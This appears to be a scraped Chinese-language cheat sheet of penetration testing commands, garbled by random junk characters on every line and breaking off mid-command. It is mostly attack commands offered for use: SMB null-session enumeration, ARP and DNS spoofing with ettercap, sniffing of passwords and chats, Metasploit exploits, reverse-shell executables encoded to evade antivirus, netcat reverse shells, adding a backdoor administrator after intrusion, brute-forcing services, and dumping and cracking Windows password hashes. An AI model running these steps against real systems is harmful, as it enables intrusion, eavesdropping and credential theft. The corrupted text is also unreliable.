whois 域名/ip 查看域名的详细信息。2 H+ | s! y1 J* q+ k: ?2 M; ?
$ j4 `$ V2 k: k7 Y9 D& Xping 域名/ip 测试本机到远端主机是否联通。; w; z: _4 F6 {# F
7 w2 Q! x& i8 Z2 X6 H4 A
dig 域名/ip 查看域名解析的详细信息。4 p. a$ x7 M7 W! e' A! m4 w
1 Z3 m* n2 h7 Y1 d4 I% S
host -l 域名 dns服务器 传输zone。8 A, ]& }6 q" G* m$ M: @
. R8 P. [- `! {- Y$ B5 i5 z扫描
- O9 V1 W" ?7 w
& T8 _1 v; x2 A7 S( j4 C# anmap:
' Z0 L, g' k! _
( E4 C7 g- A, Y& W6 p-sS 半开扫描TCP和SYN扫描。% V! q6 w4 G6 @% Y
/ {$ A5 o9 V4 ~6 r( s2 X0 z
-sT 完全TCP连接扫描。
}( N9 h" S: B* i : Y" N, Q4 P& Y# Q0 H& \
-sU UDP扫描
L* i, K0 _; `) |$ |- V a% e 3 \, Y) d; {: W+ q0 ]" E
-PS syn包探测(防火墙探测)
* l. ~/ }6 q3 I
6 K# v: Z: O% Z$ n @-PA ack包探测(防火墙探测)
1 b' n: W* ^1 s* R 1 y. O0 b! I m3 N( J3 c
-PN 不ping。
, o) o+ E4 F, }& J- s
# e! C1 o" j9 X2 v% ]5 I3 Q, O-n 不dns解析。
' {, P: J' B# O* t
: F1 _. @3 l- ]7 E1 O8 m8 d-A -O和-sV。- z1 y; [( B: T) Z7 s& U( G1 e
t# J% D1 X9 g, B$ Q-O 操作系统识别。
! i1 [! {* U: Z5 V & R% M" e! y$ I& B0 Y* a9 p/ H$ P
-sV 服务版本信息(banner)
: P& Z: f4 F- k9 E. [ ( x& p- C- [# x
-p 端口扫描。
* j! a) A$ z+ r; U2 I* Q6 v, z' p( P
3 l# c& ` T( q, Z9 E! F% o-T 设置时间级别(0-5)7 E$ q$ n; e$ Q4 \; f
" [- `, N$ x4 [& o/ u
-iL 导入扫描结果。& S5 l6 O- v; [8 j
2 h3 y( {; j7 @( R# q# W9 A, o
-oG 输出扫描结果。
0 u {3 k! Y) i, h. k* b 3 B5 e- l% W/ J6 L( ~3 y5 {
" {+ U: E" v( u1 C' Y; L) R* @
2 m# P+ [: O i: z% W1 x+ H操作系统识别:( v0 ^/ _" H# [/ _3 D2 Q* `: Z
; V3 y9 y: U; K- \& @3 r
p0f -i eth0 -U -p 开启混杂模式。
* W# S. y$ T) x1 ?+ B: p 3 |' T( }' x S h. J+ ]
xprobe2 ip|域名 检测os。
+ Y1 [/ V) G, o0 P! s: c7 v0 O
) x( I2 d' @) [8 d- {banner获取:
8 [" h. _% _. O* l, V" w
; N2 }% t% I& Knc ip port 检测端口是否打开。" @; H% Z! B9 Q! O I
8 [: {4 B5 _/ n T3 Z8 ntelnet ip port 检测端口是否打开。
6 K+ o! F1 r$ }: }+ N& l " p- v# p( Y* w. w' L
wget ip 下载主页。
/ `* }* t1 k. g3 Z B- m! B* t, E
cat index.html | more 显示主页代码。7 j4 O* `& ?1 w( W! I* i
/ k0 B0 v; C/ b
q 退出。
! F2 }" A W0 c/ ^ 2 K. H9 A3 Q7 B) I3 }4 ?5 U9 _
windows枚举& Q- B9 J! y4 S U2 e5 R5 t
" G3 O$ }9 I( f# Q" R) Q
nmap -sS -p 139,445 ip 扫描windows。% M- _8 Y# Q8 i) z0 Z |$ W4 G" s: L% Q
- _7 Z9 S) N' B+ [, R( |5 Rcd /pentest/enumeration/smb-enum
) N0 p: m1 d1 q8 [1 s5 ~3 Q / u7 h% o% N* q) a& Y0 p/ K# i
nbtscan -f targetIP 检测netbios。$ i! y7 ]5 M8 V
' R+ w) K" K8 s, V% F1 Wsmbgetserverinfo -i targetIP 扫描name,os,组。
0 y: {! x% i( ?6 t9 J : U# d) P' a$ ~3 i8 ]
smbdumpusers -i targetIP 列出用户。7 c! _4 M, f( R+ d/ W
* x1 [$ [% i1 t* @+ z8 Nsmbclient -L //targetIP 列出共享。
7 t6 @$ r0 R2 a: d1 j
" T9 q+ M0 z3 K: w3 _使用windows:+ z- R7 |: g' O8 Q8 ]" V' u
* `1 i1 d4 Y3 J( J" Y) M- o) Tnet use \\ip\ipc$ "" /u:"" 开启空会话。9 n4 y4 O3 O5 L5 T& U
, y2 k; D5 E+ r5 f: t' j/ vnet view \\ip 显示共享信息。! ~* y8 t3 T! }+ s
% F, f$ `2 v5 v3 L- O1 U; o
smbclient:/ U$ |+ Y$ |# E: P8 C1 o
- Q. }' Q' S$ t( V. }" A* _, bsmbclient -L hostName -I targetIP 枚举共享。6 `& s* k; I" Q, F
. m5 l: V1 U0 x' _) j
smbclient -L hostName/share -U "" 用空用户连接。
% \& u( W7 s6 R: l% j) q: S2 @
+ {7 ]( V. x2 A! q+ W7 @smbclient -L hostName -I targetIP -U admin普通用户连接。
+ g& i; [ K% N3 r
/ ~' I! r& ]: {rpcclient:
3 v# c3 C: I* s$ c' n5 o H 4 C4 O3 r5 w4 Z" i% }* L8 u& i
rpcclient targetIP -U “”打开一个空会话。6 R3 b- X) }) z S- t2 x$ d
: J+ S4 ?1 K% q/ \5 j! N
netshareenum 枚举共享。. d4 _& u* ^2 X ]! T1 p$ O
6 T2 }& P2 J! \ j' renumdomusers 枚举用户。
0 v, U9 B! F/ x4 [1 L " j- P" K# P& d8 c# O
lsaenumsid 枚举域SID。. b6 k' a$ M8 k1 P
4 c$ o' g# b, A" ~6 X5 Fqueryuser RID 查询用户信息。, Y, q! f* S( V+ M7 Q
# M7 W5 {$ q" U/ b0 l& C
createdomuser 创建用户访问。
5 K9 Q# \$ K) ?6 @; U4 F* j
/ O* i* A( [* j* @ARP欺骗:
8 t1 R. C& j4 ]) e
; p A* X# n! r- @& T. q0 b. tettercap:
4 I5 ^" O F2 Y" ~/ f( r
% @! t) y- T5 l# O5 k( c( gnano /usr/local/etc/etter.conf配置文件
* L0 G& s2 |, T# `, I# L# R
6 S/ @) U0 n% U0 lSniff > Unified sniffing > Network interface: eth0 > OK 设置抓包的网卡
6 Y" \' ]4 Y: h, t- s7 A2 ^
0 x0 e0 Z1 e. L) D/ E7 x5 bHosts > Scan for hosts (do this two times)扫描网段的主机. |2 J6 P/ U. E/ Q9 n h
# W1 Z1 }+ M1 T+ BHosts > Hosts list 显示主机列表" C7 k3 w! X) `8 u' j; Z* H
, a9 n d/ S- t, YSelect the default gateway > Add to Target 1 添加主机
/ y) ^1 }. L& X1 [ - m/ T- Q# V7 L. L/ R8 Z
Select the target > Add to Target 2 添加主机
2 R* U! r8 ?& a) e9 t( W" b 0 W, t$ g9 w4 ]9 S5 v5 c
Mitm > Arp poisoning > Sniff remote connections > OK 设置ARP攻击
3 b0 l+ b$ ^6 K2 I
& ?9 M# D" n5 Q3 pStart > Start sniffing 开始攻击
) L: H3 S# b5 u. S# f
0 ]! ~; I/ C/ @# \& o3 M9 Zdsniff -i eth0 监听网卡窃听登录用户密码+ d0 i3 c. J' X: c* |
; u4 G. `' r8 X2 A' n" A
urlsnarf -i eth0 嗅探http请求5 H6 e2 r! o6 O4 N
9 L# u* ]6 i6 x. A
msgsnarf -i eth0 嗅探聊天软件的聊天内容
) Z6 j" P1 @5 y0 Y# h 8 H; y' N, [2 _0 B: x/ d
driftnet -i eth0 网络管理嗅探图片,音频。
* q- u( @2 g9 A' O" C$ c 4 J3 C: z2 a# ^9 f) c0 V
nano /usr/local/share/ettercap/etter.dns编辑配置文件
1 n' M1 R8 H2 c9 F- Z - E- ?! d$ H8 | A
Plugins > Manage the plugins > dns_spoof 设置dns欺骗
, |" E4 }& D2 T6 @ j* Z + \, B9 k1 e2 c
Mitm > Arp poisoning > Sniff remote connections > OK 设置ARP
& X& a: J! u' ^) }0 v: V: _# f( A
- k1 H5 ]+ C1 a% q* C0 C% A( sStart > Start sniffing 开始攻击
9 V& L* } V+ E0 h
0 X( k. o( R8 I( J6 e% ?
. L) f% O+ h/ A6 } $ y7 S8 O J+ L1 @# ^
Exploits漏洞利用:3 ~3 q1 ~" ^# n& K5 L l
5 p" `1 O, h- Y1 f% F8 y9 Ncd /pentest/exploits/exploit-db 进入目录
( x2 e6 S2 }2 F( @ 9 ? P/ q* Q( X( t% N, y9 @; i
cat sploitlist.txt | grep -i [exploit] 查询需要的漏洞& _3 w/ x% G$ @+ X- S9 _% m
# Y0 ~8 Z, [0 ~
cat exploit | grep "#include"检查运行环境4 t. A( g: i' k4 F6 [2 |
% K; @; t- d5 z# T+ p: V, s( M# X2 f7 w
cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d ":" -f1 | sort -u只保留可以在linux下运行的代码
+ |) p1 N g% V9 a | " b' U- X- S! P" I( f! ?; @
0 @; Y/ A8 b: G7 g
1 R! w8 T0 p2 Q$ X3 g* FMetasploit:
+ f1 a& C7 \' y" w1 Q
- @7 s9 R- Y8 `4 i" T: Hsvn update 升级 ! ^; w; ^# j3 \5 L
7 N4 ^, O/ d7 L! c" }./msfweb Web接口127.0.0.1:55555。.* r, G1 |3 p) _) h( N) \
3 J3 s A D9 N8 T! N! u! C./msfconsole 字符下的Console。
2 C. P5 m. e2 H+ g . D. g/ p% M5 Y7 {& m' g
help 帮助
, l/ `1 E( u! J7 T ! y/ V& F9 N* _( d a: l( K
show <option> 显示选项
/ r# Z- U% U/ T' R$ Z3 R8 Y # x4 U" m- y% D) p4 m0 @/ V
search <name> 搜索名字
& B- D+ c1 D6 o* I" G. { ) I$ _' x$ S7 ~
use <exploit name> 使用漏洞; v: X* F: [6 e/ ?7 ]
: ~5 b( c0 C3 U A6 W' I
show options 显示选项# v! p* \" i( s" h/ H9 c, A
- v/ h' T2 h6 b8 ~4 R4 t k" aset <OPTION NAME> <option> 设置选项
0 O. j/ H; _) t4 t! ?/ K z ; K `# j( e/ C
show payloads 显示装置2 G* L p: M' v4 V
+ L6 d: S' c2 o8 z7 I0 Pset PAYLOAD <payload name> 设置装置
4 e8 e- l% H: x) i3 p* L) r: s
4 r! e% H) e% M i( n6 Y% }show options 显示选项9 N: ^' `1 ^* ~6 `' p# t
( x$ _5 `% D5 G0 A# B8 Q/ ]set <OPTION NAME> <option> 设置选项& @6 X' K. I) P, S* ?4 o; b
; G+ a" O# O$ T
show targets 显示目标(os版本), P, J, V) [# x
, [! _! A0 ]# t) k6 }set TARGET <target number> 设置目标版本0 ]. c1 k% ^( e K. T
1 Q: i# v! _4 y F/ iexploit 开始漏洞攻击
/ m, t$ i6 R1 w; W/ S
' q7 H, _& N) [3 s5 Psessions -l 列出会话: T. t, Q* q+ y* D7 h
& R0 @+ U+ z0 X/ j4 Q4 I
sessions -i <ID> 选择会话
3 U- n6 B p: l
7 c8 i2 F: k7 Isessions -k <ID> 结束会话
, q6 U( p) U+ r( k2 R% O' T * D' d! T! W! D, z- ?
<ctrl> z 把会话放到后台% ~) q" K3 s8 u
# s* T4 W9 G. ^% a8 m5 o) R
<ctrl> c 结束会话
* F- D) L* _; R5 p 1 w1 L- W- T9 e3 g3 Z% K
jobs 列出漏洞运行工作
1 ~; P6 r e% A: ]' v
( L" h8 F3 K+ r- L6 Zjobs -K 结束一个漏洞运行工作! H/ X4 Y3 _% Q, O
: U y* h: M! @& y# H
show auxiliary 显示辅助模块 j2 @3 ~4 H" M
% K6 L& L3 V) [2 `/ k4 s* G( x! N8 Euse <auxiliary name> 使用辅助模块3 e( g! P: N6 h6 Z) o. q+ F! Q
M5 H1 A5 R6 c* qset <OPTION NAME> <option> 设置选项
* f2 z+ k8 ` R+ g; N; p 3 {+ L h4 u% k2 E3 F
run 运行模块" u/ }' [8 j" {( e6 N* e) v
- U" r) Q% f! u- [4 l# N) K {scanner/smb/version 扫描系统版本3 L) q$ V, |& D6 M* y
; K+ F6 k) A6 Y* j) J* tscanner/mssql/mssql_ping 测试mssql是否在线
( y6 d1 r3 r- Q- j# ] 5 R& Z0 c2 z$ f m, K
scanner/mssql/mssql_login 测试登录(暴力或字典)+ {7 |$ x I5 x3 \# U
" r1 R/ X/ G! v: E/ k. u% N% \0 N
Attacker behind firewall: bind shell正向
7 T" T$ D3 \8 q
- B6 N- Q' Z! Y" sTarget behind firewall: reverse shell反向& x F; L$ x% U4 |' T! K% ~
0 ^* n" g8 _; s9 f+ D
Meterpreter衔接不懂dos的可以用这个:4 @& H9 v! k8 y7 A# Q
; v4 l% s( j# o8 u) n2 i
db_import_nessus_nbe 加载nessus的扫描结果
$ E' L. d# n& ` ( h8 n- W* Z e! X0 b# g1 t. b0 W
db_import_nmap_xml 加载nmap的扫描结果1 @0 _- ?- p: d/ M5 p) F- {# ^
$ D2 h" {- e. b: h自动化攻击流程:
3 _" n. w- w0 @8 Z' R9 `
$ [) D+ x. G0 u# q6 v) a- Qcd /pentest/exploit/framework3 # N6 s# V5 j+ {. [- i; l+ }& F- ]7 Z5 s
- ]+ G- K* R% |# P" J$ i./msfconsole3 ~/ y8 @+ C! J( t
2 M% e+ ]3 j1 u0 P2 O# }: n, F
load db_sqlite3
/ g; ^2 I: b6 Z5 Q
1 O" H S" Q9 r/ X: Fdb_destroy pentest
) p; m( e5 N4 E" p' b7 M % i/ }' ]. I( {5 q6 B2 L
db_create pentest
0 ~9 x/ i! y8 z8 R, Z& `" Y v
9 U$ N: C: B9 ~8 X1 \/ Cdb_nmap targetIP+ R4 W7 F0 L& L0 ~2 T; t: L
* B) O% [4 w6 ~5 v( \7 Rdb_hosts
; p; G% w& t( A" ^, w, i4 Z( \' C- ?
7 ^5 y! D7 ]8 I' Odb_services
2 I5 U; z: x+ Y4 q
4 I7 A+ j+ m% D E/ w5 `2 D2 Mdb_autopwn -t -p -e. @9 U8 b7 d+ V1 I( ^3 y4 U
; s( z; ~! |: b7 P
字符接口攻击流程:
) d2 B# m( P( ^2 T- t* ?: G
* C L+ j% L0 V* f% d" e./msfcli | grep -i <name>3 P5 {9 q; d# t) r
, l$ ^' |3 ?5 t: p./msfcli <exploit or auxiliary> S' j- U% }* n! y% Z! M1 G! T3 x4 y
6 n* x) M4 o7 l./msfcli <exploit name> <OPTION NAME>=<option> PAYLOAD=<payload name> E" S6 M- P+ u' `0 r9 T( _
" `5 C; H* h1 z6 T
做木马后门等:
. t3 [* x6 b6 s4 b2 D
' f9 U: S0 l* t" k2 Y# Y./msfpayload <payload> <variable=value> <output type> z7 o7 n' l: u9 q5 Y7 d9 m
+ h6 ~9 x3 P0 m3 U
S summary and options of payload* K* N3 n, v+ ~1 t+ v |: Q7 Z
0 E8 W5 {( e# T4 {( }C C language
( E+ U8 f3 ?# a2 F1 u; i % J! z! Z$ M" W8 Z3 r9 _
P Perl# {7 ?, U1 L" w9 G0 r6 G
; V; U! ]- F2 N% i4 ty Ruby
- c! W' m8 h7 ~5 Z. s9 V( p
6 ?7 ]0 K% X5 T# QR Raw, allows payload to be piped into msfencode and other tools$ |" N7 u% e- j" [( U
$ e0 R4 r& q9 @2 E$ v: q
J JavaScript* s* U3 d: D; r: n6 Y- \
1 v4 J9 J2 \4 H! lX Windows executable) [) c3 @. l/ Z& r5 U( N8 n/ t
* M+ l* K. F+ O/ E: b" x) f) Z./msfpayload windows/shell/reverse_tcp LHOST=10.1.1.1 C' `* v; ~. L. q- l3 P. E; c
$ _* l: U$ \: F! j n5 O./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 X > evil.exe8 M: e2 Y1 \& I
& A9 g) L, V+ X* H) \ I6 A3 ?
编码处理就是做免杀:
% q) T7 `: q6 V: y- E 1 W. q' ]2 T! b- N
./msfencode <options> <variable=value>& H- @# y( s* R \2 b: D5 e2 d
) D. X. p; V+ Z+ s8 j _./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -l
7 \/ W+ E0 i5 W6 u' b3 } $ s$ p) c5 Y* ?7 Q6 t
./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -e PexFnstenvMor -t c
$ a' h, D% E; {/ o2 }% ^2 L
" w9 ]) Q: m4 q! O& P
: s" g- ]+ q" y, f$ r
! Y7 s4 M: [( K2 x入侵后在windows下添加管理员用户:
f- }, e, D4 C) [
# B' l" r7 R/ m+ M7 f9 Fhostname 查看主机名% X0 `2 C' e. k" x+ C: e' ~
1 D3 B! d6 P- R) |5 @net users 查看用户
# k! ^& `6 @2 w4 g2 H+ ^! P $ ^9 @ ?/ `% G$ H+ D
net user 用户 密码 /add 添加用户& C7 Z( B. H. Q' x
& B2 o* ~: Z! T3 j. b
net localgroup 查看工作组+ z$ T1 g* V! G; q4 z( x2 i
$ ]) G; w) c3 g: _) {- D8 D0 E9 Y/ {0 {net localgroup administrators 查看管理员组
. W, Q. m: d+ ?. ?
6 E; ]! c4 E4 E( k: Cnet localgroup administrators x /add 将用户加入管理员组
" H P2 z5 K/ W % P! I# c u4 c
7 P% _7 C/ A" F$ o; A" ?8 n0 l4 D
' g( ^0 D( d6 z1 Y" {- iTFTP
; ~( k! p! k& q( ]. @+ N, D5 ?% O ) A$ j) T1 O5 U7 L ]: d
cp /pentest/windows-binaries/tools/nc.exe /tmp/传递到tftp上
* G5 U% N. B- o6 R( y
5 {, {" S; o! W; h; V4 Q, b" g% Ctftp -i 10.1.1.2 GET nc.exe下载
W2 d: [5 T9 w: W& u% i
6 V# F! l/ i/ l! J; M, W: gnetcat瑞士军刀2 ^: g! i/ v& N# K* u6 G* {
9 k9 \0 l6 |4 Q9 a; E$ `- cattacker: 10.1.1.1
! q' H Q+ Z+ [4 ?9 z3 X& k3 P# e$ y
- v- ~2 D0 Z$ e! atarget: 10.1.1.2
* ]3 t* R' I; K+ X3 v0 P
& a1 A0 X- ^+ H% C; B5 \) M6 Bnc -v -z 10.1.1.2 1-1024 端口扫描
; y, Z* U0 S3 \+ i! A2 R. V/ P- g6 L ; C1 n4 e+ L2 q
target: nc -lvp 4444 聊天设置(服务) m' T0 O. z' K2 v) C* x
" A0 I- e+ y3 ?2 e8 T7 `' Z8 J2 g
attacker: nc -v 10.1.1.2 4444 聊天设置(客户)- Q/ d* K) |- h4 n) O+ k
2 c) d' `! o' {8 C/ m! X. Etarget: nc -lvp 4444 > output.txt传输文件(接受)
5 ]! G* e% y' Z
0 S; f1 a" u3 Y4 ]7 Pattacker: nc -v 10.1.1.2 4444 < test.txt传输文件(发送)5 q7 O Y% B9 @3 g/ b1 d: n
6 i% O& q2 W& G9 j7 X- G& ?
target: nc -lvp 4444 -e cmd.exe Bind shell。
% c' y" U; r! H+ A6 d+ T ( ?5 i; A6 R; Z. O; A% B
attacker: nc -v 10.1.1.2 4444) E0 N+ N j; W: S
X" ?) x9 q5 ^, k5 u
target:nc -lvp 4444 Reverse shell。
2 H9 H1 M5 [, ?8 v; s: D 6 u4 e5 l; o+ B4 ~# u
attacker:nc -v 10.1.1.2 4444 -e /bin/bash+ \: x* c9 X& v I, `
, H8 g" Q( f: P* G0 q! d: l# B- c
1 w- z( b) ]4 ~8 W
: x" A; v1 p; o( h0 v2 B. T7 J密码& v$ l/ W9 J- F, x' s" g2 }
! h7 ?! ~1 H6 M' r. l; B) U9 h字典zcat /pentest/password/dictionaries/wordlist.txt.Z > words7 }9 ?" f$ N) g2 L# z
- R; [) Q$ ]" i$ s4 F7 qcat words | wc -l显示个数(30多万个) , z/ {# X" k/ ^# d4 @5 m+ u
- v9 Z1 V" c& q& j: B ?) M' g
暴力:
+ b# e5 ~6 k% l! P 3 `( f+ h/ E' m7 x
hydra -l ftp -P words -v targetIP ftp 攻击ftp。. _# E+ x5 ]9 r" O4 B! _, F% x9 a9 V
" R3 D/ Q9 S& r3 o
hydra -l muts -P words -v targetIP pop3 攻击pop3+ X3 m7 m& o7 X) E6 ]6 H
5 R! O" W! N( }1 ~, p$ V/ d6 ohydra -P words -v targetIP snmp 攻击snmp$ t' w! B7 j8 a6 t+ N$ ]0 o
; Z+ w7 S$ v% ~5 C2 M9 L攻击microsof VPN
, k2 t7 x6 _8 k0 E5 j* ?
( Z9 f2 Q% \0 W8 m4 L- onmap -p 1723 targetIP& C3 T7 B0 s% F( p9 j2 m# N. @
" T# B B9 @9 b7 N5 B9 d
dos2unix words
( I) d) E4 q! V
* t5 k3 R" [0 t6 Jcat words | thc-pptp-bruter targetIP
* Y5 X- Z$ e4 y
, Q* z& ]2 y; X h% ]8 HWYD:* D, `- D" \0 S: R( C
3 G0 ], z8 F1 k4 |$ A6 _4 F
wget -r www.target.com --accept=pdf 下载pdf文档4 N! x" x+ N5 I# ], d
* ?! Q& F @' m" {5 C8 ]& j: _wyd.pl -o output.txt www.target.com/2 N1 E* O" }# \/ O( Z6 ?
$ e0 R( ~ v- x) V" y" n, e3 Lcat output.txt | more0 j W: D4 ^$ Q* K) I( K
% V; b$ ]$ u& M6 W! p; ~SAM文件(windows下的密码文件):+ `/ M2 o0 D' b7 ?
& s* J, \, [! X/ X$ t1 l%SYSTEMROOT%/system32/config
- v( X1 I1 A) j H
' a1 C3 m# E2 T) @+ M%SYSTEMROOT%/repair
$ N5 ~) e$ O9 a' V3 ]; N6 k: S 3 B/ r1 d! [. M3 q/ i8 p: ^
备份windows的hash文件:
1 I' d. U& L1 W: D( A( I
! ^7 ~( i6 ~# L./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP PAYLOAD=windows/meterpreter/bind_tcp E1 y' A( s y: {! N C
/ J. u# ]" T4 T9 ]meterpreter > upload -r /tmp/pwdump6 c:\\windows\\system32\\
$ ?, u2 j3 b1 g; w/ C |
# M' |: ?: F0 t) e' Gmeterpreter > execute -f cmd -c
& A$ d, @7 S1 x 4 u2 P* }' Y( T# I
meterpreter > interact x' y, _# u' j! z0 K8 B
3 C' r( O q. M" C3 Q- J K! {7 l( r
C:\WINDOWS\system32> pwdump \\127.0.0.1, n l' a' a5 Y* \" e
1 A8 b3 @/ _4 v2 `( m# X, P# c
john破解密码:0 I& Q# x* \7 R' w* n; l9 q0 A
2 n: B. y# L, f& M9 B
cp hash.txt /pentest/password/john-1.7.2/run/: @& ~# z. Y) K: f3 u" o, a" y
9 U9 E6 e+ _" P: v; z9 v) G1 A
cd /pentest/password/john-1.7.2/run/4 ^+ p3 C- i; X
( f0 g7 X) _$ z* R. Z./john hash.txt: Y) Q# k0 l. d
6 x4 x! y* I6 f8 X/ J& `2 Y. {; D( m
彩虹表:5 D9 c8 H N+ a- a# b
9 p1 e- k( f1 _% Vrcrack *.rt -f hash.txt8 L! F( y( ~% x! d/ f8 P8 H( y
/ j% q7 _5 n& n8 z
+ ~& R. W5 H4 K6 X" x- j8 l
5 ^7 N% G6 J' r. C. Z# n' b本地修改密码:
/ h# j; ~* ^3 w( u0 R4 Z / j; E1 R. C0 b
mount6 Y. W$ b; Q' u2 E- n! ?. b6 z; g6 {
" i! _9 L* s: N7 x9 l: J; `. Z5 Iumount /mnt/hda1
, N. U1 n& B$ f+ D4 x2 H 8 W9 r7 t- c, d/ M6 c5 Q; a8 f# J
modprobe fuse
& s/ V% g& k. i z' n* O5 c4 J
. p8 l0 a& _" [ S' a* d' {5 @ntfsmount /dev/hda1 /mnt/hda1
+ m/ z( k8 o6 @: N, H
- L* {' P8 v( V0 ?" Xmount |
|